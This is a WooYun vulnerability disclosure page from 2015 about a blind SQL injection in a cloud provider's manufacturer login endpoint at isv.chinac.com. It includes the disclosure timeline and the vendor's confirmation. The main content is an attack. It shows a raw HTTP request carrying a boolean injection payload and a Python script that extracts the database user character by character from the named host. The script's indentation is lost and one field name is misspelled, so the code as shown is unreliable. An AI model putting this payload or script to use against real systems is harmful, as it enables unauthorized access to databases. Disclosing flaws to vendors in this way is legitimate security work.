当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124541

漏洞标题:华云数据某站存在SQL注入(附脚本)

相关厂商:华云数据技术服务有限公司

漏洞作者: 路人甲

提交时间:2015-07-06 10:56

修复时间:2015-08-21 11:22

公开时间:2015-08-21 11:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-07: 厂商已经确认,细节仅向厂商公开
2015-07-17: 细节向核心白帽子及相关领域专家公开
2015-07-27: 细节向普通白帽子公开
2015-08-06: 细节向实习白帽子公开
2015-08-21: 细节向公众公开

简要描述:

详细说明:

这个注入点sqlmap跑不出来,得用脚本~

POST /manufacturer_login.action HTTP/1.1
Content-Length: 114
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://isv.chinac.com:80/manufacturer_tologin.action
Cookie: cookie_user=""; login_password=""; JSESSIONID=61822C830DCA9CD25D92FE92038A772E; mssxskgj=1
Host: isv.chinac.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
autoLogin=1&manufacturer.manufacturerName=-1' or length(user())=14 or 'n'='&manufacturer.password=g00dPa%24%24w0rD


为真时:

41.png

为假时:

42.png

user()长度为14:

43.png

user()结果:

44.png

脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
post_data = {"autoLogin":'1',
"manufacturer.passwor":'p',}
print 'Start to retrive MySQL User:\n'
user = ''
for i in range(1, 15):
for payload in payloads:
#time.sleep(4)
print '.',
conn = httplib.HTTPConnection('isv.chinac.com', timeout=60)
s = "-1' or ascii(MID(user(),%d,1))=%s or 'n'=' " %(i, ord(payload))

post_data["manufacturer.manufacturerName"] = s


postdata = urllib.urlencode(post_data)
conn.request('POST',
'/manufacturer_login.action',
postdata,
headers)
html_doc = conn.getresponse().read().decode('utf-8')
conn.close()
#print html_doc
if html_doc.find(u'该账户已经被删除') > 0:
user += payload
sys.stdout.write('\r[In Progress]' + user)
sys.stdout.flush()
break
print '[Done]MySQL user is %s' % user

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-07 11:21

厂商回复:

谢谢支持。已在处理中

最新状态:

暂无